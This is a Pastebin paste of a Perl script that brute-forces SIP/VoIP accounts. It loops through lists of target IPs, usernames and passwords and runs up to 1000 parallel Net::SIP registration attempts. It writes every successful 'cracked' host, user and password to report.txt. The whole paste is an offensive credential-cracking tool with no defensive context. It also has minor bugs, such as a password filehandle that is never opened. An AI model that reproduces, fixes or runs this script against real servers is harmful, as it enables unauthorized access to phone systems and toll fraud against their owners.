Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Parallel::ForkManager;
- use Net::SIP;
- my $ips = "ips.txt";
- my $users = "u";
- open( USERS, "<$users") || die " Cannot open the word file : $users ! \n";
- chomp(@userlist = <USERS>);
- close(USERS);
- my @foundip;
- my $i = 0;
- my $forkmanager = Parallel::ForkManager->new("1000");
- $forkmanager->run_on_finish(sub { # must be declared before first 'start'
- my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @_;
- $out{ $data->[0] } = $data->[1];
- print "[onfinish]". $data->[0] ."\n";
- if (($data->[1] == -1) or ($data->[1] == 1)) {
- push(@foundip,$data->[0]);
- }
- });
- my $foundstring;
- my $cnt =0;
- my $match_found = 0;
- foreach $user(@userlist)
- {
- my $important = "u";
- open( IMP, "<$important") || die " Cannot open the word file : $important ! \n";
- chomp(@important = <IMP>);
- close(IMP);
- foreach my $line1 (@important)
- {
- if ($line1 == $user)
- {print "==== Important user ==== \n";
- $passwords = "p";
- chomp(@passlist = <PASS>);
- close(PASS);
- print $user;
- foreach $pass (@passlist)
- {
- $i++;
- $cnt =0;
- my $rez = 0;
- open($foundipFILE, "< $ips");
- while (<$foundipFILE>)
- {
- $line = $_;
- $line =~ s/\x0a//g;
- if (!grep {$_ eq $line} @foundip) {
- $cnt++;
- my $pid = $forkmanager->start and next;
- if((&crack($line,$user,$pass)) == 1){
- print "$line $user $pass\n";
- print "\tcracked\n";
- open(my $kfh, '>>', 'report.txt');
- print $kfh "$line $user $pass\n";
- close $kfh;
- }
- else {
- print "[$cnt] [$line] failed with $user : $pass \n";
- }
- sleep(1);
- $forkmanager->finish(0, [ $line, $rez ]); # Child exits
- }else{
- #print "!!!!! $line was here\n";
- }
- }
- close($foundipFILE);
- }
- }
- else {
- }
- }
- }
- $forkmanager->wait_all_children();
- sub crack{
- my @parms = @_;
- my $ip=$parms[0];
- my $user=$parms[1];
- my $pass=$parms[2];
- my $ua = Net::SIP::Simple->new(outgoing_proxy => $ip,
- registrar => $ip,
- domain => $ip,
- from => $user,
- auth => [ $user,$pass ]
- );
- # Register agent
- $ua->register( expires => 1800 ) || return 0;
- #print "Enregistrأ©\n";
- #return $pass;
- return 1;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement